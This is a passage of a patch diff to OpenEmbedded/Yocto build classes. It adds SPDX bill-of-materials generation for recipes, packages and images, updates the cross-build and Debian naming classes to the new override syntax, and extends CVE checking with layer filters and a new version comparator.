+ ignore_dirs=[".git"],
+ ignore_top_level_dirs=["temp"],
+ archive=archive,
+ )
+
+ if archive is not None:
+ recipe.packageFileName = str(recipe_archive.name)
+
+ dep_recipes = collect_dep_recipes(d, doc, recipe)
+
+ doc_sha1 = oe.sbom.write_doc(d, doc, "recipes")
+ dep_recipes.append(oe.sbom.DepRecipe(doc, doc_sha1, recipe))
+
+ recipe_ref = oe.spdx.SPDXExternalDocumentRef()
+ recipe_ref.externalDocumentId = "DocumentRef-recipe-" + recipe.name
+ recipe_ref.spdxDocument = doc.documentNamespace
+ recipe_ref.checksum.algorithm = "SHA1"
+ recipe_ref.checksum.checksumValue = doc_sha1
+
+ sources = collect_dep_sources(d, dep_recipes)
+ found_licenses = {license.name:recipe_ref.externalDocumentId + ":" + license.licenseId for license in doc.hasExtractedLicensingInfos}
+
+ if not recipe_spdx_is_native(d, recipe):
+ bb.build.exec_func("read_subpackage_metadata", d)
+
+ pkgdest = Path(d.getVar("PKGDEST"))
+ for package in d.getVar("PACKAGES").split():
+ if not oe.packagedata.packaged(package, d):
+ continue
+
+ package_doc = oe.spdx.SPDXDocument()
+ pkg_name = d.getVar("PKG:%s" % package) or package
+ package_doc.name = pkg_name
+ package_doc.documentNamespace = get_doc_namespace(d, package_doc)
+ package_doc.creationInfo.created = creation_time
+ package_doc.creationInfo.comment = "This document was created by analyzing packages created during the build."
+ package_doc.creationInfo.licenseListVersion = d.getVar("SPDX_LICENSE_DATA")["licenseListVersion"]
+ package_doc.creationInfo.creators.append("Tool: OpenEmbedded Core create-spdx.bbclass")
+ package_doc.creationInfo.creators.append("Organization: %s" % d.getVar("SPDX_ORG"))
+ package_doc.creationInfo.creators.append("Person: N/A ()")
+ package_doc.externalDocumentRefs.append(recipe_ref)
+
+ package_license = d.getVar("LICENSE:%s" % package) or d.getVar("LICENSE")
+
+ spdx_package = oe.spdx.SPDXPackage()
+
+ spdx_package.SPDXID = oe.sbom.get_package_spdxid(pkg_name)
+ spdx_package.name = pkg_name
+ spdx_package.versionInfo = d.getVar("PV")
+ spdx_package.licenseDeclared = convert_license_to_spdx(package_license, package_doc, d, found_licenses)
+
+ package_doc.packages.append(spdx_package)
+
+ package_doc.add_relationship(spdx_package, "GENERATED_FROM", "%s:%s" % (recipe_ref.externalDocumentId, recipe.SPDXID))
+ package_doc.add_relationship(package_doc, "DESCRIBES", spdx_package)
+
+ package_archive = deploy_dir_spdx / "packages" / (package_doc.name + ".tar.zst")
+ with optional_tarfile(package_archive, archive_packaged) as archive:
+ package_files = add_package_files(
+ d,
+ package_doc,
+ spdx_package,
+ pkgdest / package,
+ lambda file_counter: oe.sbom.get_packaged_file_spdxid(pkg_name, file_counter),
+ lambda filepath: ["BINARY"],
+ archive=archive,
+ )
+
+ if archive is not None:
+ spdx_package.packageFileName = str(package_archive.name)
+
+ add_package_sources_from_debug(d, package_doc, spdx_package, package, package_files, sources)
+
+ oe.sbom.write_doc(d, package_doc, "packages")
+}
+# NOTE: depending on do_unpack is a hack that is necessary to get it's dependencies for archive the source
+addtask do_create_spdx after do_package do_packagedata do_unpack before do_build do_rm_work
+
+SSTATETASKS += "do_create_spdx"
+do_create_spdx[sstate-inputdirs] = "${SPDXDEPLOY}"
+do_create_spdx[sstate-outputdirs] = "${DEPLOY_DIR_SPDX}"
+
+python do_create_spdx_setscene () {
+ sstate_setscene(d)
+}
+addtask do_create_spdx_setscene
+
+do_create_spdx[dirs] = "${SPDXDEPLOY} ${SPDXWORK}"
+do_create_spdx[cleandirs] = "${SPDXDEPLOY} ${SPDXWORK}"
+do_create_spdx[depends] += "${PATCHDEPENDENCY}"
+do_create_spdx[deptask] = "do_create_spdx"
+
+def collect_package_providers(d):
+ from pathlib import Path
+ import oe.sbom
+ import oe.spdx
+ import json
+
+ deploy_dir_spdx = Path(d.getVar("DEPLOY_DIR_SPDX"))
+
+ providers = {}
+
+ taskdepdata = d.getVar("BB_TASKDEPDATA", False)
+ deps = sorted(set(
+ dep[0] for dep in taskdepdata.values() if dep[0] != d.getVar("PN")
+ ))
+ deps.append(d.getVar("PN"))
+
+ for dep_pn in deps:
+ recipe_data = oe.packagedata.read_pkgdata(dep_pn, d)
+
+ for pkg in recipe_data.get("PACKAGES", "").split():
+
+ pkg_data = oe.packagedata.read_subpkgdata_dict(pkg, d)
+ rprovides = set(n for n, _ in bb.utils.explode_dep_versions2(pkg_data.get("RPROVIDES", "")).items())
+ rprovides.add(pkg)
+
+ for r in rprovides:
+ providers[r] = pkg
+
+ return providers
+
+collect_package_providers[vardepsexclude] += "BB_TASKDEPDATA"
+
+python do_create_runtime_spdx() {
+ from datetime import datetime, timezone
+ import oe.sbom
+ import oe.spdx
+ import oe.packagedata
+ from pathlib import Path
+
+ deploy_dir_spdx = Path(d.getVar("DEPLOY_DIR_SPDX"))
+ spdx_deploy = Path(d.getVar("SPDXRUNTIMEDEPLOY"))
+ is_native = bb.data.inherits_class("native", d) or bb.data.inherits_class("cross", d)
+
+ creation_time = datetime.now(tz=timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
+
+ providers = collect_package_providers(d)
+
+ if not is_native:
+ bb.build.exec_func("read_subpackage_metadata", d)
+
+ dep_package_cache = {}
+
+ pkgdest = Path(d.getVar("PKGDEST"))
+ for package in d.getVar("PACKAGES").split():
+ localdata = bb.data.createCopy(d)
+ pkg_name = d.getVar("PKG:%s" % package) or package
+ localdata.setVar("PKG", pkg_name)
+ localdata.setVar('OVERRIDES', d.getVar("OVERRIDES", False) + ":" + package)
+
+ if not oe.packagedata.packaged(package, localdata):
+ continue
+
+ pkg_spdx_path = deploy_dir_spdx / "packages" / (pkg_name + ".spdx.json")
+
+ package_doc, package_doc_sha1 = oe.sbom.read_doc(pkg_spdx_path)
+
+ for p in package_doc.packages:
+ if p.name == pkg_name:
+ spdx_package = p
+ break
+ else:
+ bb.fatal("Package '%s' not found in %s" % (pkg_name, pkg_spdx_path))
+
+ runtime_doc = oe.spdx.SPDXDocument()
+ runtime_doc.name = "runtime-" + pkg_name
+ runtime_doc.documentNamespace = get_doc_namespace(localdata, runtime_doc)
+ runtime_doc.creationInfo.created = creation_time
+ runtime_doc.creationInfo.comment = "This document was created by analyzing package runtime dependencies."
+ runtime_doc.creationInfo.licenseListVersion = d.getVar("SPDX_LICENSE_DATA")["licenseListVersion"]
+ runtime_doc.creationInfo.creators.append("Tool: OpenEmbedded Core create-spdx.bbclass")
+ runtime_doc.creationInfo.creators.append("Organization: %s" % d.getVar("SPDX_ORG"))
+ runtime_doc.creationInfo.creators.append("Person: N/A ()")
+
+ package_ref = oe.spdx.SPDXExternalDocumentRef()
+ package_ref.externalDocumentId = "DocumentRef-package-" + package
+ package_ref.spdxDocument = package_doc.documentNamespace
+ package_ref.checksum.algorithm = "SHA1"
+ package_ref.checksum.checksumValue = package_doc_sha1
+
+ runtime_doc.externalDocumentRefs.append(package_ref)
+
+ runtime_doc.add_relationship(
+ runtime_doc.SPDXID,
+ "AMENDS",
+ "%s:%s" % (package_ref.externalDocumentId, package_doc.SPDXID)
+ )
+
+ deps = bb.utils.explode_dep_versions2(localdata.getVar("RDEPENDS") or "")
+ seen_deps = set()
+ for dep, _ in deps.items():
+ if dep in seen_deps:
+ continue
+
+ if dep not in providers:
+ continue
+
+ dep = providers[dep]
+
+ if not oe.packagedata.packaged(dep, localdata):
+ continue
+
+ dep_pkg_data = oe.packagedata.read_subpkgdata_dict(dep, d)
+ dep_pkg = dep_pkg_data["PKG"]
+
+ if dep in dep_package_cache:
+ (dep_spdx_package, dep_package_ref) = dep_package_cache[dep]
+ else:
+ dep_path = deploy_dir_spdx / "packages" / ("%s.spdx.json" % dep_pkg)
+
+ spdx_dep_doc, spdx_dep_sha1 = oe.sbom.read_doc(dep_path)
+
+ for pkg in spdx_dep_doc.packages:
+ if pkg.name == dep_pkg:
+ dep_spdx_package = pkg
+ break
+ else:
+ bb.fatal("Package '%s' not found in %s" % (dep_pkg, dep_path))
+
+ dep_package_ref = oe.spdx.SPDXExternalDocumentRef()
+ dep_package_ref.externalDocumentId = "DocumentRef-runtime-dependency-" + spdx_dep_doc.name
+ dep_package_ref.spdxDocument = spdx_dep_doc.documentNamespace
+ dep_package_ref.checksum.algorithm = "SHA1"
+ dep_package_ref.checksum.checksumValue = spdx_dep_sha1
+
+ dep_package_cache[dep] = (dep_spdx_package, dep_package_ref)
+
+ runtime_doc.externalDocumentRefs.append(dep_package_ref)
+
+ runtime_doc.add_relationship(
+ "%s:%s" % (dep_package_ref.externalDocumentId, dep_spdx_package.SPDXID),
+ "RUNTIME_DEPENDENCY_OF",
+ "%s:%s" % (package_ref.externalDocumentId, spdx_package.SPDXID)
+ )
+ seen_deps.add(dep)
+
+ oe.sbom.write_doc(d, runtime_doc, "runtime", spdx_deploy)
+}
+
+addtask do_create_runtime_spdx after do_create_spdx before do_build do_rm_work
+SSTATETASKS += "do_create_runtime_spdx"
+do_create_runtime_spdx[sstate-inputdirs] = "${SPDXRUNTIMEDEPLOY}"
+do_create_runtime_spdx[sstate-outputdirs] = "${DEPLOY_DIR_SPDX}"
+
+python do_create_runtime_spdx_setscene () {
+ sstate_setscene(d)
+}
+addtask do_create_runtime_spdx_setscene
+
+do_create_runtime_spdx[dirs] = "${SPDXRUNTIMEDEPLOY}"
+do_create_runtime_spdx[cleandirs] = "${SPDXRUNTIMEDEPLOY}"
+do_create_runtime_spdx[rdeptask] = "do_create_spdx"
+
+def spdx_get_src(d):
+ """
+ save patched source of the recipe in SPDX_WORKDIR.
+ """
+ import shutil
+ spdx_workdir = d.getVar('SPDXWORK')
+ spdx_sysroot_native = d.getVar('STAGING_DIR_NATIVE')
+ pn = d.getVar('PN')
+
+ workdir = d.getVar("WORKDIR")
+
+ try:
+ # The kernel class functions require it to be on work-shared, so we dont change WORKDIR
+ if not is_work_shared_spdx(d):
+ # Change the WORKDIR to make do_unpack do_patch run in another dir.
+ d.setVar('WORKDIR', spdx_workdir)
+ # Restore the original path to recipe's native sysroot (it's relative to WORKDIR).
+ d.setVar('STAGING_DIR_NATIVE', spdx_sysroot_native)
+
+ # The changed 'WORKDIR' also caused 'B' changed, create dir 'B' for the
+ # possibly requiring of the following tasks (such as some recipes's
+ # do_patch required 'B' existed).
+ bb.utils.mkdirhier(d.getVar('B'))
+
+ bb.build.exec_func('do_unpack', d)
+ # Copy source of kernel to spdx_workdir
+ if is_work_shared_spdx(d):
+ d.setVar('WORKDIR', spdx_workdir)
+ d.setVar('STAGING_DIR_NATIVE', spdx_sysroot_native)
+ src_dir = spdx_workdir + "/" + d.getVar('PN')+ "-" + d.getVar('PV') + "-" + d.getVar('PR')
+ bb.utils.mkdirhier(src_dir)
+ if bb.data.inherits_class('kernel',d):
+ share_src = d.getVar('STAGING_KERNEL_DIR')
+ cmd_copy_share = "cp -rf " + share_src + "/* " + src_dir + "/"
+ cmd_copy_kernel_result = os.popen(cmd_copy_share).read()
+ bb.note("cmd_copy_kernel_result = " + cmd_copy_kernel_result)
+
+ git_path = src_dir + "/.git"
+ if os.path.exists(git_path):
+ shutils.rmtree(git_path)
+
+ # Make sure gcc and kernel sources are patched only once
+ if not (d.getVar('SRC_URI') == "" or is_work_shared_spdx(d)):
+ bb.build.exec_func('do_patch', d)
+
+ # Some userland has no source.
+ if not os.path.exists( spdx_workdir ):
+ bb.utils.mkdirhier(spdx_workdir)
+ finally:
+ d.setVar("WORKDIR", workdir)
+
+do_rootfs[recrdeptask] += "do_create_spdx do_create_runtime_spdx"
+
+ROOTFS_POSTUNINSTALL_COMMAND =+ "image_combine_spdx ; "
+python image_combine_spdx() {
+ import os
+ import oe.spdx
+ import oe.sbom
+ import io
+ import json
+ from oe.rootfs import image_list_installed_packages
+ from datetime import timezone, datetime
+ from pathlib import Path
+ import tarfile
+ import bb.compress.zstd
+
+ creation_time = datetime.now(tz=timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
+ image_name = d.getVar("IMAGE_NAME")
+ image_link_name = d.getVar("IMAGE_LINK_NAME")
+
+ deploy_dir_spdx = Path(d.getVar("DEPLOY_DIR_SPDX"))
+ imgdeploydir = Path(d.getVar("IMGDEPLOYDIR"))
+ source_date_epoch = d.getVar("SOURCE_DATE_EPOCH")
+
+ doc = oe.spdx.SPDXDocument()
+ doc.name = image_name
+ doc.documentNamespace = get_doc_namespace(d, doc)
+ doc.creationInfo.created = creation_time
+ doc.creationInfo.comment = "This document was created by analyzing the source of the Yocto recipe during the build."
+ doc.creationInfo.licenseListVersion = d.getVar("SPDX_LICENSE_DATA")["licenseListVersion"]
+ doc.creationInfo.creators.append("Tool: OpenEmbedded Core create-spdx.bbclass")
+ doc.creationInfo.creators.append("Organization: %s" % d.getVar("SPDX_ORG"))
+ doc.creationInfo.creators.append("Person: N/A ()")
+
+ image = oe.spdx.SPDXPackage()
+ image.name = d.getVar("PN")
+ image.versionInfo = d.getVar("PV")
+ image.SPDXID = oe.sbom.get_image_spdxid(image_name)
+
+ doc.packages.append(image)
+
+ spdx_package = oe.spdx.SPDXPackage()
+
+ packages = image_list_installed_packages(d)
+
+ for name in sorted(packages.keys()):
+ pkg_spdx_path = deploy_dir_spdx / "packages" / (name + ".spdx.json")
+ pkg_doc, pkg_doc_sha1 = oe.sbom.read_doc(pkg_spdx_path)
+
+ for p in pkg_doc.packages:
+ if p.name == name:
+ pkg_ref = oe.spdx.SPDXExternalDocumentRef()
+ pkg_ref.externalDocumentId = "DocumentRef-%s" % pkg_doc.name
+ pkg_ref.spdxDocument = pkg_doc.documentNamespace
+ pkg_ref.checksum.algorithm = "SHA1"
+ pkg_ref.checksum.checksumValue = pkg_doc_sha1
+
+ doc.externalDocumentRefs.append(pkg_ref)
+ doc.add_relationship(image, "CONTAINS", "%s:%s" % (pkg_ref.externalDocumentId, p.SPDXID))
+ break
+ else:
+ bb.fatal("Unable to find package with name '%s' in SPDX file %s" % (name, pkg_spdx_path))
+
+ runtime_spdx_path = deploy_dir_spdx / "runtime" / ("runtime-" + name + ".spdx.json")
+ runtime_doc, runtime_doc_sha1 = oe.sbom.read_doc(runtime_spdx_path)
+
+ runtime_ref = oe.spdx.SPDXExternalDocumentRef()
+ runtime_ref.externalDocumentId = "DocumentRef-%s" % runtime_doc.name
+ runtime_ref.spdxDocument = runtime_doc.documentNamespace
+ runtime_ref.checksum.algorithm = "SHA1"
+ runtime_ref.checksum.checksumValue = runtime_doc_sha1
+
+ # "OTHER" isn't ideal here, but I can't find a relationship that makes sense
+ doc.externalDocumentRefs.append(runtime_ref)
+ doc.add_relationship(
+ image,
+ "OTHER",
+ "%s:%s" % (runtime_ref.externalDocumentId, runtime_doc.SPDXID),
+ comment="Runtime dependencies for %s" % name
+ )
+
+ image_spdx_path = imgdeploydir / (image_name + ".spdx.json")
+
+ with image_spdx_path.open("wb") as f:
+ doc.to_json(f, sort_keys=True)
+
+ image_spdx_link = imgdeploydir / (image_link_name + ".spdx.json")
+ image_spdx_link.symlink_to(os.path.relpath(image_spdx_path, image_spdx_link.parent))
+
+ num_threads = int(d.getVar("BB_NUMBER_THREADS"))
+
+ visited_docs = set()
+
+ index = {"documents": []}
+
+ spdx_tar_path = imgdeploydir / (image_name + ".spdx.tar.zst")
+ with bb.compress.zstd.open(spdx_tar_path, "w", num_threads=num_threads) as f:
+ with tarfile.open(fileobj=f, mode="w|") as tar:
+ def collect_spdx_document(path):
+ nonlocal tar
+ nonlocal deploy_dir_spdx
+ nonlocal source_date_epoch
+ nonlocal index
+
+ if path in visited_docs:
+ return
+
+ visited_docs.add(path)
+
+ with path.open("rb") as f:
+ doc, sha1 = oe.sbom.read_doc(f)
+ f.seek(0)
+
+ if doc.documentNamespace in visited_docs:
+ return
+
+ bb.note("Adding SPDX document %s" % path)
+ visited_docs.add(doc.documentNamespace)
+ info = tar.gettarinfo(fileobj=f)
+
+ info.name = doc.name + ".spdx.json"
+ info.uid = 0
+ info.gid = 0
+ info.uname = "root"
+ info.gname = "root"
+
+ if source_date_epoch is not None and info.mtime > int(source_date_epoch):
+ info.mtime = int(source_date_epoch)
+
+ tar.addfile(info, f)
+
+ index["documents"].append({
+ "filename": info.name,
+ "documentNamespace": doc.documentNamespace,
+ "sha1": sha1,
+ })
+
+ for ref in doc.externalDocumentRefs:
+ ref_path = deploy_dir_spdx / "by-namespace" / ref.spdxDocument.replace("/", "_")
+ collect_spdx_document(ref_path)
+
+ collect_spdx_document(image_spdx_path)
+
+ index["documents"].sort(key=lambda x: x["filename"])
+
+ index_str = io.BytesIO(json.dumps(index, sort_keys=True).encode("utf-8"))
+
+ info = tarfile.TarInfo()
+ info.name = "index.json"
+ info.size = len(index_str.getvalue())
+ info.uid = 0
+ info.gid = 0
+ info.uname = "root"
+ info.gname = "root"
+
+ tar.addfile(info, fileobj=index_str)
+
+ def make_image_link(target_path, suffix):
+ link = imgdeploydir / (image_link_name + suffix)
+ link.symlink_to(os.path.relpath(target_path, link.parent))
+
+ make_image_link(spdx_tar_path, ".spdx.tar.zst")
+
+ spdx_index_path = imgdeploydir / (image_name + ".spdx.index.json")
+ with spdx_index_path.open("w") as f:
+ json.dump(index, f, sort_keys=True)
+
+ make_image_link(spdx_index_path, ".spdx.index.json")
+}
+
diff --git a/meta/classes/cross-canadian.bbclass b/meta/classes/cross-canadian.bbclass
index f5c9f61595..ac82e86356 100644
--- a/meta/classes/cross-canadian.bbclass
+++ b/meta/classes/cross-canadian.bbclass
@@ -36,10 +36,12 @@ python () {
return
tos = d.getVar("TARGET_OS")
- whitelist = []
+ whitelist = ["mingw32"]
extralibcs = [""]
if "musl" in d.getVar("BASECANADIANEXTRAOS"):
extralibcs.append("musl")
+ if "android" in tos:
+ extralibcs.append("android")
for variant in ["", "spe", "x32", "eabi", "n32", "_ilp32"]:
for libc in extralibcs:
entry = "linux"
@@ -104,7 +106,7 @@ STAGING_DIR_HOST = "${RECIPE_SYSROOT}"
TOOLCHAIN_OPTIONS = " --sysroot=${RECIPE_SYSROOT}"
-PATH_append = ":${TMPDIR}/sysroots/${HOST_ARCH}/${bindir_cross}"
+PATH:append = ":${TMPDIR}/sysroots/${HOST_ARCH}/${bindir_cross}"
PKGHIST_DIR = "${TMPDIR}/pkghistory/${HOST_ARCH}-${SDKPKGSUFFIX}${HOST_VENDOR}-${HOST_OS}/"
HOST_ARCH = "${SDK_ARCH}"
@@ -129,7 +131,7 @@ LDFLAGS = "${BUILDSDK_LDFLAGS} \
# We need chrpath >= 0.14 to ensure we can deal with 32 and 64 bit
# binaries
#
-DEPENDS_append = " chrpath-replacement-native"
+DEPENDS:append = " chrpath-replacement-native"
EXTRANATIVEPATH += "chrpath-native"
# Path mangling needed by the cross packaging
@@ -153,9 +155,9 @@ base_sbindir = "${bindir}"
libdir = "${exec_prefix}/lib/${TARGET_ARCH}${TARGET_VENDOR}-${TARGET_OS}"
libexecdir = "${exec_prefix}/libexec/${TARGET_ARCH}${TARGET_VENDOR}-${TARGET_OS}"
-FILES_${PN} = "${prefix}"
+FILES:${PN} = "${prefix}"
-export PKG_CONFIG_DIR = "${STAGING_DIR_HOST}${layout_libdir}/pkgconfig"
+export PKG_CONFIG_DIR = "${STAGING_DIR_HOST}${exec_prefix}/lib/pkgconfig"
export PKG_CONFIG_SYSROOT_DIR = "${STAGING_DIR_HOST}"
do_populate_sysroot[stamp-extra-info] = ""
@@ -167,7 +169,7 @@ USE_NLS = "${SDKUSE_NLS}"
# and not any particular tune that is enabled.
TARGET_ARCH[vardepsexclude] = "TUNE_ARCH"
-PKGDATA_DIR = "${TMPDIR}/pkgdata/${SDK_SYS}"
+PKGDATA_DIR = "${PKGDATA_DIR_SDK}"
# If MLPREFIX is set by multilib code, shlibs
# points to the wrong place so force it
SHLIBSDIRS = "${PKGDATA_DIR}/nativesdk-shlibs2"
diff --git a/meta/classes/cross.bbclass b/meta/classes/cross.bbclass
index bfec91d043..9d951076a7 100644
--- a/meta/classes/cross.bbclass
+++ b/meta/classes/cross.bbclass
@@ -7,7 +7,7 @@ EXCLUDE_FROM_WORLD = "1"
CLASSOVERRIDE = "class-cross"
PACKAGES = ""
PACKAGES_DYNAMIC = ""
-PACKAGES_DYNAMIC_class-native = ""
+PACKAGES_DYNAMIC:class-native = ""
HOST_ARCH = "${BUILD_ARCH}"
HOST_VENDOR = "${BUILD_VENDOR}"
@@ -72,10 +72,6 @@ libexecdir = "${exec_prefix}/libexec/${CROSS_TARGET_SYS_DIR}"
do_populate_sysroot[sstate-inputdirs] = "${SYSROOT_DESTDIR}/${STAGING_DIR_NATIVE}/"
do_packagedata[stamp-extra-info] = ""
-do_install () {
- oe_runmake 'DESTDIR=${D}' install
-}
-
USE_NLS = "no"
export CC = "${BUILD_CC}"
@@ -97,3 +93,5 @@ python do_addto_recipe_sysroot () {
}
addtask addto_recipe_sysroot after do_populate_sysroot
do_addto_recipe_sysroot[deptask] = "do_populate_sysroot"
+
+PATH:prepend = "${COREBASE}/scripts/cross-intercept:"
diff --git a/meta/classes/cve-check.bbclass b/meta/classes/cve-check.bbclass
index d843e7c4ac..70d1988a70 100644
--- a/meta/classes/cve-check.bbclass
+++ b/meta/classes/cve-check.bbclass
@@ -20,7 +20,7 @@
# the only method to check against CVEs. Running this tool
# doesn't guarantee your packages are free of CVEs.
-# The product name that the CVE database uses. Defaults to BPN, but may need to
+# The product name that the CVE database uses defaults to BPN, but may need to
# be overriden per recipe (for example tiff.bb sets CVE_PRODUCT=libtiff).
CVE_PRODUCT ??= "${BPN}"
CVE_VERSION ??= "${PV}"
@@ -53,6 +53,16 @@ CVE_CHECK_PN_WHITELIST ?= ""
#
CVE_CHECK_WHITELIST ?= ""
+# Layers to be excluded
+CVE_CHECK_LAYER_EXCLUDELIST ??= ""
+
+# Layers to be included
+CVE_CHECK_LAYER_INCLUDELIST ??= ""
+
+
+# set to "alphabetical" for version using single alphabetical character as increment release
+CVE_VERSION_SUFFIX ??= ""
+
python cve_save_summary_handler () {
import shutil
import datetime
@@ -84,10 +94,11 @@ python do_cve_check () {
"""
Check recipe for patched and unpatched CVEs
"""
+ from oe.cve_check import get_patched_cves
if os.path.exists(d.getVar("CVE_CHECK_DB_FILE")):
try:
- patched_cves = get_patches_cves(d)
+ patched_cves = get_patched_cves(d)
except FileNotFoundError:
bb.fatal("Failure in searching patches")
whitelisted, patched, unpatched = check_cves(d, patched_cves)
@@ -143,73 +154,18 @@ python cve_check_write_rootfs_manifest () {
bb.plain("Image CVE report stored in: %s" % manifest_name)
}
-ROOTFS_POSTPROCESS_COMMAND_prepend = "${@'cve_check_write_rootfs_manifest; ' if d.getVar('CVE_CHECK_CREATE_MANIFEST') == '1' else ''}"
+ROOTFS_POSTPROCESS_COMMAND:prepend = "${@'cve_check_write_rootfs_manifest; ' if d.getVar('CVE_CHECK_CREATE_MANIFEST') == '1' else ''}"
do_rootfs[recrdeptask] += "${@'do_cve_check' if d.getVar('CVE_CHECK_CREATE_MANIFEST') == '1' else ''}"
-def get_patches_cves(d):
- """
- Get patches that solve CVEs using the "CVE: " tag.
- """
-
- import re
-
- pn = d.getVar("PN")
- cve_match = re.compile("CVE:( CVE\-\d{4}\-\d+)+")
-
- # Matches last CVE-1234-211432 in the file name, also if written
- # with small letters. Not supporting multiple CVE id's in a single
- # file name.
- cve_file_name_match = re.compile(".*([Cc][Vv][Ee]\-\d{4}\-\d+)")
-
- patched_cves = set()
- bb.debug(2, "Looking for patches that solves CVEs for %s" % pn)
- for url in src_patches(d):
- patch_file = bb.fetch.decodeurl(url)[2]
-
- if not os.path.isfile(patch_file):
- bb.error("File Not found: %s" % patch_file)
- raise FileNotFoundError
-
- # Check patch file name for CVE ID
- fname_match = cve_file_name_match.search(patch_file)
- if fname_match:
- cve = fname_match.group(1).upper()
- patched_cves.add(cve)
- bb.debug(2, "Found CVE %s from patch file name %s" % (cve, patch_file))
-
- with open(patch_file, "r", encoding="utf-8") as f:
- try:
- patch_text = f.read()
- except UnicodeDecodeError:
- bb.debug(1, "Failed to read patch %s using UTF-8 encoding"
- " trying with iso8859-1" % patch_file)
- f.close()
- with open(patch_file, "r", encoding="iso8859-1") as f:
- patch_text = f.read()
-
- # Search for one or more "CVE: " lines
- text_match = False
- for match in cve_match.finditer(patch_text):
- # Get only the CVEs without the "CVE: " tag
- cves = patch_text[match.start()+5:match.end()]
- for cve in cves.split():
- bb.debug(2, "Patch %s solves %s" % (patch_file, cve))
- patched_cves.add(cve)
- text_match = True
-
- if not fname_match and not text_match:
- bb.debug(2, "Patch %s doesn't solve CVEs" % patch_file)
-
- return patched_cves
-
def check_cves(d, patched_cves):
"""
Connect to the NVD database and find unpatched cves.
"""
- from distutils.version import LooseVersion
+ from oe.cve_check import Version
pn = d.getVar("PN")
real_pv = d.getVar("PV")
+ suffix = d.getVar("CVE_VERSION_SUFFIX")
cves_unpatched = []
# CVE_PRODUCT can contain more than one product (eg. curl/libcurl)
@@ -219,14 +175,11 @@ def check_cves(d, patched_cves):
return ([], [], [])
pv = d.getVar("CVE_VERSION").split("+git")[0]
- # If the recipe has been whitlisted we return empty lists
+ # If the recipe has been whitelisted we return empty lists
if pn in d.getVar("CVE_CHECK_PN_WHITELIST").split():
bb.note("Recipe has been whitelisted, skipping check")
return ([], [], [])
- old_cve_whitelist = d.getVar("CVE_CHECK_CVE_WHITELIST")
- if old_cve_whitelist:
- bb.warn("CVE_CHECK_CVE_WHITELIST is deprecated, please use CVE_CHECK_WHITELIST.")
cve_whitelist = d.getVar("CVE_CHECK_WHITELIST").split()
import sqlite3
@@ -263,8 +216,8 @@ def check_cves(d, patched_cves):
else:
if operator_start:
try:
- vulnerable_start = (operator_start == '>=' and LooseVersion(pv) >= LooseVersion(version_start))
- vulnerable_start |= (operator_start == '>' and LooseVersion(pv) > LooseVersion(version_start))
+ vulnerable_start = (operator_start == '>=' and Version(pv,suffix) >= Version(version_start,suffix))
+ vulnerable_start |= (operator_start == '>' and Version(pv,suffix) > Version(version_start,suffix))
except:
bb.warn("%s: Failed to compare %s %s %s for %s" %
(product, pv, operator_start, version_start, cve))
@@ -274,8 +227,8 @@ def check_cves(d, patched_cves):
if operator_end:
try:
- vulnerable_end = (operator_end == '<=' and LooseVersion(pv) <= LooseVersion(version_end))
- vulnerable_end |= (operator_end == '<' and LooseVersion(pv) < LooseVersion(version_end))
+ vulnerable_end = (operator_end == '<=' and Version(pv,suffix) <= Version(version_end,suffix) )
+ vulnerable_end |= (operator_end == '<' and Version(pv,suffix) < Version(version_end,suffix) )
except:
bb.warn("%s: Failed to compare %s %s %s for %s" %
(product, pv, operator_end, version_end, cve))
@@ -330,8 +283,21 @@ def cve_write_data(d, patched, unpatched, whitelisted, cve_data):
CVE manifest if enabled.
"""
+
cve_file = d.getVar("CVE_CHECK_LOG")
- nvd_link = "https://web.nvd.nist.gov/view/vuln/detail?vulnId="
+ fdir_name = d.getVar("FILE_DIRNAME")
+ layer = fdir_name.split("/")[-3]
+
+ include_layers = d.getVar("CVE_CHECK_LAYER_INCLUDELIST").split()
+ exclude_layers = d.getVar("CVE_CHECK_LAYER_EXCLUDELIST").split()
+
+ if exclude_layers and layer in exclude_layers:
+ return
+
+ if include_layers and layer not in include_layers:
+ return
+
+ nvd_link = "https://nvd.nist.gov/vuln/detail/"
write_string = ""
unpatched_cves = []
bb.utils.mkdirhier(os.path.dirname(cve_file))
@@ -340,6 +306,7 @@ def cve_write_data(d, patched, unpatched, whitelisted, cve_data):
is_patched = cve in patched
if is_patched and (d.getVar("CVE_CHECK_REPORT_PATCHED") != "1"):
continue
+ write_string += "LAYER: %s\n" % layer
write_string += "PACKAGE NAME: %s\n" % d.getVar("PN")
write_string += "PACKAGE VERSION: %s%s\n" % (d.getVar("EXTENDPE"), d.getVar("PV"))
write_string += "CVE: %s\n" % cve
diff --git a/meta/classes/debian.bbclass b/meta/classes/debian.bbclass
index 6f8a599ccb..8367be9f37 100644
--- a/meta/classes/debian.bbclass
+++ b/meta/classes/debian.bbclass
@@ -4,7 +4,7 @@
# depends are correct
#
# Custom library package names can be defined setting
-# DEBIANNAME_ + pkgname to the desired name.
+# DEBIANNAME: + pkgname to the desired name.
#
# Better expressed as ensure all RDEPENDS package before we package
# This means we can't have circular RDEPENDS/RRECOMMENDS
@@ -14,6 +14,10 @@ AUTO_LIBNAME_PKGS = "${PACKAGES}"
inherit package
DEBIANRDEP = "do_packagedata"
+do_package_write_ipk[deptask] = "${DEBIANRDEP}"
+do_package_write_deb[deptask] = "${DEBIANRDEP}"
+do_package_write_tar[deptask] = "${DEBIANRDEP}"
+do_package_write_rpm[deptask] = "${DEBIANRDEP}"
do_package_write_ipk[rdeptask] = "${DEBIANRDEP}"
do_package_write_deb[rdeptask] = "${DEBIANRDEP}"
do_package_write_tar[rdeptask] = "${DEBIANRDEP}"
@@ -51,11 +55,11 @@ python debian_package_name_hook () {
return (s[stat.ST_MODE] & stat.S_IEXEC)
def add_rprovides(pkg, d):
- newpkg = d.getVar('PKG_' + pkg)
+ newpkg = d.getVar('PKG:' + pkg)
if newpkg and newpkg != pkg:
- provs = (d.getVar('RPROVIDES_' + pkg) or "").split()
+ provs = (d.getVar('RPROVIDES:' + pkg) or "").split()
if pkg not in provs:
- d.appendVar('RPROVIDES_' + pkg, " " + pkg + " (=" + d.getVar("PKGV") + ")")
+ d.appendVar('RPROVIDES:' + pkg, " " + pkg + " (=" + d.getVar("PKGV") + ")")
def auto_libname(packages, orig_pkg):
p = lambda var: pathlib.PurePath(d.getVar(var))
@@ -110,10 +114,10 @@ python debian_package_name_hook () {
if soname_result:
(pkgname, devname) = soname_result
for pkg in packages.split():
- if (d.getVar('PKG_' + pkg, False) or d.getVar('DEBIAN_NOAUTONAME_' + pkg, False)):
